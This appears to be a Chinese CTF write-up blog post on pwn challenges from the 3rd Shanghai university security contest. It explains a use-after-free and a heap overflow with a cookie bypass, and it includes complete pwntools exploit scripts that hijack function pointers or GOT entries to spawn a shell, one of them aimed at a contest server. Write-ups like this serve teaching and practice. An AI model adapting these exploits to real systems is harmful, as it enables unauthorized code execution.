wp

0x00 p200

先分析了程序关键的数据结构

分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf

脚本如下:

1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆

2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据

3.再free,此时可以把整块Ton堆给free

4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8

5.执行1.use 此时其实是执行system('/bin/sh')

from pwn import*
# context.log_level = 'debug'
# p = process('./p200')
addr = 0x0000000000602D70
addr2 = 0x602D58 p = remote('106.75.8.58',12333) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.interactive()

学习

0x01 heap

也先给出数据结构

程序开始

1.分配了许多随机大小的堆块,又随机释放了其中一些堆块,造成之后再请求的堆块不连续

2.生成了一个随机cookie,在之后的主功能中放在堆内存中检测堆是否被改写

发现漏洞

在edit函数中我们可以重新向name域中写入任意字符,可以利用,假如当前堆块后还有一个堆块,我们就可以复写之后的堆块内容

绕过保护

1.先申请一定数量的堆块,就可以保证堆块连续

2.cookie的检验是首地址加偏移,首地址我们可以覆盖,偏移也可以覆盖,我们就可以让 首地址 + 偏移 = 内存中已经存在的cookie ,从而绕过cookie.

漏洞利用

1.泄露atoi_addr地址,计算出system_addr

2.在bss段写入/bin/sh

3.将person_function_ptr覆盖为system_addr,name_ptr覆盖为bss

4.调用introduce函数(实际上是system('/bin/sh'))

Al3x大佬的脚本,orz:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

def add(lName, name, lSname, sname, tutor='no'):
p.sendlineafter("option:", '')
p.sendlineafter("name", str(lName))
p.sendlineafter("name", name)
p.sendlineafter("schoolname", str(lSname))
p.sendlineafter("school name", sname)
p.sendlineafter(")", tutor) def remove(ID):
p.sendlineafter("option:", '')
p.sendlineafter("delete", str(ID)) def edit(ID, length, context, flag):
p.sendlineafter("option:", '')
p.sendlineafter("edit", str(ID))
if flag == 0:
p.sendlineafter("option:", '')
p.sendlineafter("name", str(length))
p.sendlineafter("name", context)
else:
p.sendlineafter("option:", '')
p.sendlineafter("schoolname", str(length))
p.sendlineafter("schoolname", context) def show(ID):
p.sendlineafter("option:", '')
p.sendlineafter("intro", str(ID)) #p = process("./heap", env={"LD_PRELOAD":"/home/al3x/libc.so.6"})
#p = remote('106.75.8.58', 23238)
p = process("./heap")
for i in range(120):
add(0x29, 'aaaa', 0x29, 'bbbb') atoi_got = 0x602FE8
bss_addr = 0x60F000
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 120
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 121
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 122
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 123
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 124 payload = 'a'*0x30 #padding
payload += 'a'*8 + p64(0x41) #prev_size & size
payload += p64(0x79) #id
payload += p64(atoi_got) #name_chunck_ptr
payload += '\x57\xC0' #name_chunck_size & cookies_off
edit(120, 0x55, payload, 1) show(121)
p.recvuntil("name is ")
atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
system_addr = atoi_addr - 0x36E80 + 0x45390 payload = 'a'*0x30
payload += 'a'*8 + p64(0x41)
payload += p64(0x7a)
payload += p64(bss_addr)
payload +='\x3f'
edit(121, 0x55, payload, 1)
edit(122, 0x10, '/bin/sh', 0) payload = 'a'*0x30
payload += 'a'*8 + p64(0x41)
payload += p64(0x7c)
payload += p64(bss_addr)
payload += p64(0x3f)
payload += p64(system_addr)
payload += p64(bss_addr)
payload += '\x3f'
edit(123, 0x6d, payload, 1)
#raw_input()
show(124) p.interactive()

0x02 list

这题自己的思路是对的,不断删除堆块,最后让指针指向atoi_got,然后泄露atoi_addr,计算system_addr,然后修改atoi_got为system.

可是自己没有理解指针。。。。本应该找个指向got的指针,,而我却直接找got...

第三届上海市大学生网络安全大赛wp&学习的更多相关文章

  1. 第三届上海市大学生网络安全大赛 流量分析 WriteUp

    题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...

  2. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  3. 2019年上海市大学生网络安全大赛两道misc WriteUp

    2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...

  4. 2019 上海市大学生网络安全大赛 RE部分WP

    这次比赛就做了这一道逆向题,看到队友的WP,下面的对v10的加密方式为RC4,从我提取的v4数组就能够察觉出这是CR4了,自己傻乎乎的用OD调试,跟踪数据半天才做出来,还是见得的少了... ...下面 ...

  5. fzu 2105 Digits Count ( 线段树 ) from 第三届福建省大学生程序设计竞赛

    http://acm.fzu.edu.cn/problem.php?pid=2105 Problem Description Given N integers A={A[0],A[1],...,A[N ...

  6. [2012山东省第三届ACM大学生程序设计竞赛]——n a^o7 !

    n a^o7 ! 题目:http://acm.sdut.edu.cn/sdutoj/problem.php?action=showproblem&problemid=2413 Time Lim ...

  7. 第十一届GPCT杯大学生程序设计大赛完美闭幕

    刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!&g ...

  8. [2012山东省第三届ACM大学生程序设计竞赛]——Mine Number

    Mine Number 题目:http://acm.sdut.edu.cn/sdutoj/problem.php? action=showproblem&problemid=2410 Time ...

  9. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

随机推荐

  1. web前端_Vue框架_设置浏览器上方的标题和图标

    在创建Vue项目时一般会用默认的项目标题和图标,如下图所示: 不是很美观也可能不符合项目的需求,所以有时候就需要改变项目在浏览器上方的标签名称或者图标. 找到项目根目录的index.html,如图: ...

  2. DP简单问题联系--最长递增子序列+最长公共子序列等

    今天重温了一下dp问题,发现自己两个礼拜不写题目就什么都不会了...心态爆炸,感觉去考试怕是要gg了... 不过今天总结一下写的题目,全部都是基础的dp问题 第一个是 求最长不下降子序列的长度 第一行 ...

  3. Android开发实践:掌握Camera的预览方向和拍照方向

    http://ticktick.blog.51cto.com/823160/1592267?utm_source=tuicool&utm_medium=referral Android的Cam ...

  4. [Xcode 实际操作]二、视图与手势-(10)UITapGestureRecognizer手势之单击

    目录:[Swift]Xcode实际操作 本文将演示使用视图的手势功能,完成视图的交互操作. import UIKit class ViewController: UIViewController { ...

  5. 33、JSONP跨域

    跨域请求数据也是可以的,只不过Ajax这技术不行,而JSONP这种数据格式可以进行跨域.很多年前,浏览器是没有跨域限制的,可以正常跨域,浏览器为了安全和隐私限制了Ajax跨域 JSONP原理就是:将函 ...

  6. Hackintosh

    条件:Mac环境(也可在Windows电脑上用虚拟机建立).两只(一只亦可)16G及以上优盘.一块64G以上SSD固态(机械)硬盘.一台待折腾的Windows电脑 1.创建安装盘: ·app stor ...

  7. JavaScript简介和发展史,JavaScript组成和开发工具-乐字节

    一.JavaScript简介 JavaScript 是一种具有面向对象能力的.解释型的程序设计语言.更具体一点,它是基于对象和事件驱动并具有相对安全性的客户端脚本语言.它的主要目的是,验证发往服务器端 ...

  8. [!] No `Podfile' found in the project directory.

    1.cd ios/ 2.vim Podfile(创建Podfile)且输入内容 source'https://github.com/CocoaPods/Specs.git'platform:ios,' ...

  9. A - Musical Theme + 二分

    #include <bits/stdc++.h> using namespace std; #define LS 2*i #define RS 2*i+1 #define UP(i,x,y ...

  10. django-返回客户端外网ip服务

    在服务器应用初始化的时候,比如salt-minion,需要在配置文件里说明自己的id,一般用ip. 如果都在一个内网里,从ip命令里获取就行了. 但现在的企业后台环境更加复杂,很多都是跨机房.有物理机 ...